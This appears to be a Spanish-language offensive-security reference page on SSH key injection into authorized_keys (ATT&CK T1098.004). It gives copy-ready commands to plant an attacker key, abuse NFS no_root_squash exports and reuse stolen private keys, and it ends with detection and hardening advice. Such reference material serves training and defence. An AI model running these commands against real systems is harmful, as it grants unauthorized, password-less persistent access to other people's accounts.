the_open_door
café
ESEN
← Volver al índice

SSH Key Injection (authorized_keys)

ATT&CKT1098.004

La inyección de clave SSH convierte una primitiva de escritura en un acceso estable: si puedes escribir en ~/.ssh/authorized_keys de un usuario (o en su directorio home), añades tu clave pública y entras por SSH como ese usuario cuando quieras, sin contraseña.

Por qué funciona. SSH autentica por clave pública a cualquiera cuya privada corresponda a una entrada de authorized_keys. El fichero es solo texto: una línea más y tienes login. La primitiva de escritura llega de muchos sitios: una lectura/escritura arbitraria de la app, un servicio mal configurado que corre como el usuario, un home con permisos flojos, un root que monta un NFS con no_root_squash, o un proceso que copia ficheros que tú controlas.

El abuso. Se genera un par de claves y se cuela la pública en el authorized_keys del objetivo.

ssh-keygen -t ed25519 -f ./id_atk -N ''
# escribir la publica en el authorized_keys del usuario objetivo (via la primitiva que sea)
cat id_atk.pub >> /home/<user>/.ssh/authorized_keys   # o mkdir -p ~/.ssh; ...
ssh -i ./id_atk <user>@<ip>

Primitivas de escritura habituales. La clave rara vez entra con un cat interactivo; suele colarse por el fallo que dio el acceso. Ojo a los permisos: sshd ignora el authorized_keys si el ~/.ssh o el fichero tienen permisos laxos.

# crear ~/.ssh con permisos validos y meter la clave en un paso (si el sshd los exige)
mkdir -p /home/<user>/.ssh && chmod 700 /home/<user>/.ssh
echo 'ssh-ed25519 AAAA... atk' >> /home/<user>/.ssh/authorized_keys && chmod 600 /home/<user>/.ssh/authorized_keys

# NFS exportado con no_root_squash: montar como root y escribir el authorized_keys remoto
mount -t nfs <ip>:/home /mnt && mkdir -p /mnt/<user>/.ssh
cat id_atk.pub >> /mnt/<user>/.ssh/authorized_keys

# si en vez de escribir puedes LEER una clave privada, reutilizala tal cual
chmod 600 id_rsa && ssh -i id_rsa <user>@<ip>

Requisitos. Poder escribir en el authorized_keys del objetivo (o crear su ~/.ssh con permisos válidos) y que el servidor SSH acepte autenticación por clave pública para esa cuenta.

Cómo detectarlo. La señal es la creación o modificación de authorized_keys y logins por clave desde orígenes nuevos. Vigilar cambios en ~/.ssh/ (con auditd/inotify), claves añadidas fuera de un proceso de provisión, y sesiones SSH con fingerprints de clave no vistos antes.

Defensa. Permisos estrictos en los home y en ~/.ssh (700/600), AuthorizedKeysFile fuera del control del usuario cuando aplique, monitorizar los authorized_keys y no exportar homes por NFS con no_root_squash. Encadena con la escritura de /etc/passwd y es primo del abuso de la CA de SSH y del reciclaje de credenciales.

Máquinas donde se aplica